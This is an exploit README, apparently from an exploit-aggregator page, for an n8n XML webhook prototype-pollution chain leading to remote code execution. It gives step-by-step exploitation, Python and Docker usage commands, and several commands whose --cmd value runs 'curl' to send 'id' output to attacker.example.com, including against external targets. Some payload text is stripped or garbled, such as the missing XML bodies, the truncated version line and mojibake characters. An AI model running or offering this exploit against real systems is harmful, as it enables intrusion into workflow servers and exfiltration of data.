Share
## https://sploitus.com/exploit?id=DD446CAA-DE19-5981-A346-BFBEEE3C37E1
# GHSA-q5f4-99jv-pgg5 โ€” n8n XML Webhook Prototype Pollution โ†’ RCE

**CVE:** CVE-2026-42231  
**Severity:** Critical (CVSS 10.0)  
**Affected:** n8n ` element.

`xml2js 0.6.2` uses `Object.defineProperty` with a data descriptor to set
element keys on parsed objects. Because `'__proto__' in obj` is always
`true`, `assignOrPush()` wraps the value in an array and stores it as an
**own enumerable data property** โ€” bypassing the `[[Set]]` accessor that
would normally update the prototype chain safely.

The own `__proto__` property survives `JSON.stringify` (executed when n8n
persists execution data to SQLite/PostgreSQL), and after `JSON.parse` on
reload a subsequent `Object.assign(target, reloadedBody)` reroutes
`target`'s prototype to the attacker-controlled object.

In workflows that also contain a **Git node** performing an SSH operation,
the polluted prototype exposes a `spawnOptions` / `GIT_SSH_COMMAND` value
to `simple-git`'s `createInstanceConfig`, enabling OS-level command
execution.

---

## Root Cause

```typescript
// packages/cli/src/middlewares/body-parser.ts  (VULNERABLE โ€” = 1.123.32):**

```typescript
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});
```

---

## Exploitation Chain

```
1. Attacker sends XML POST to a public Webhook trigger:

      POST /webhook/  Content-Type: application/xml
      
      
        
          
          true
        
      

2. xml2js body parser creates req.body.root where '__proto__' is an
   OWN ENUMERABLE DATA PROPERTY:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      โ†’ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. n8n's deepCopy() iterates own keys via for...in + hasOwnProp.
   The assignment  clone['__proto__'] = deepCopy(attackerArray)
   silently replaces clone's prototype via the [[Set]] accessor.

4. n8n serialises execution data to DB:
      JSON.stringify(body.root)
      โ†’ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   The __proto__ key is included because it is own and enumerable.
   Confirmed in the execution_data table in SQLite.

5. On reload, JSON.parse recreates '__proto__' as an own data property
   (plain object, no array wrapping).
      Object.assign(gitOptions, reloadedBody)
   reroutes gitOptions's prototype to the attacker-controlled object.

6. When the Git node calls simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   reads config.spawnOptions via the prototype chain โ†’ truthy โ†’
   spawnOptionsPlugin is registered.
   With GIT_SSH_COMMAND in the env object, git executes the attacker's
   command on the next SSH operation.
```

### Note on `normalizeTags`

`normalizeTags: true` lowercases **all** XML tag names, so child elements
like `` become `git_ssh_command` in the parsed object.
To preserve case for environment variable names, use XML **attributes**
(attribute names are **not** normalised by `normalizeTags`):

```xml

```

---

## Pre-requisites

1. A **public Webhook trigger** (Authentication = None, Content-Type = XML)
   must exist in an active workflow.
2. For the full RCE path, the workflow must also contain a **Git node**
   performing an SSH-authenticated operation (clone / push via SSH URL).
3. n8n version **` tag โ€” `GIT_SSH_COMMAND` as XML attribute |
| B | `` chain |
| C | Nested `` with `env` attributes |

### 4. Observe the result (with Git node in workflow)

- In the n8n execution log, look for the git command error โ€” it will
  include output from your injected `GIT_SSH_COMMAND` if RCE fired.
- In demo mode with the Code node, the workflow response body will
  contain `"step4_objectAssignPolluted": true` confirming the chain.

---

## Standalone Usage (without Docker)

```bash
pip install -r requirements.txt

# Verify only โ€” no Git node required:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id  \
    --demo

# Full exploit โ€” requires Webhook + Git/SSH node workflow:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id  \
    --cmd 'curl http://attacker.example.com/$(id|base64)'
```

### Webhook URL format (n8n v1.123.x)

In some deployments n8n registers the webhook as
`/webhook//webhook/`. If the short form
`/webhook/` returns 404, pass the workflow-ID prefix as `--target`:

```bash
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/" \
    --webhook-id  \
    --demo
```

---

## Local Verification (Node.js, no live instance needed)

Reproduces the exact xml2js parser config used by n8n and steps through
all four chain stages:

```bash
cd /tmp/xml2js-test && npm install xml2js@0.6.2
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
```

Expected output on **vulnerable** config:

```
[STEP 1] VULNERABLE โ€” '__proto__' is own enumerable data property
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed โ†’ clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign โ†’ target.polluted = "undefined"
[ RCE ]  If target is used as simpleGit config AND the prototype exposes
         e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ]  simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
โ•โ• RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) โ•โ•
```

---

## Manual Docker Commands

```bash
# Build the attacker image
docker build -t n8n-proto-pollution-poc .

# Demo mode (attaches to the shared lab network)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/ \
    --webhook-id cve-2026-42231-poc \
    --demo

# Full exploit
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/ \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# Against an external target (no network flag needed)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id  \
    --demo
```

---

## Cleanup

```bash
./exploit.sh clean
```

Stops containers and removes volumes (including the SQLite database).

---

## Files

| File | Description |
|------|-------------|
| `poc_GHSA-q5f4-99jv-pgg5.py` | Standalone Python HTTP PoC โ€” three XML payload variants, `--demo` and `--cmd` modes |
| `verify_GHSA-q5f4-99jv-pgg5.js` | Node.js local chain verifier โ€” steps through all 4 exploitation stages without a live instance |
| `Dockerfile` | Attacker container image |
| `docker-compose.yml` | Full lab: vulnerable n8n + attacker container |
| `exploit.sh` | Helper script for setup, demo, exploit, and cleanup |
| `requirements.txt` | Python dependencies |

---

## References

- [GHSA-q5f4-99jv-pgg5](https://github.com/advisories/GHSA-q5f4-99jv-pgg5)
- [n8n release 1.123.32 changelog](https://github.com/n8n-io/n8n/releases/tag/n8n%401.123.32)
- [xml2js assignOrPush โ€” `Object.defineProperty` data descriptor](https://github.com/Leonidas-from-XIV/node-xml2js/blob/master/lib/parser.js)
- [Prototype Pollution via `Object.defineProperty`](https://portswigger.net/web-security/prototype-pollution)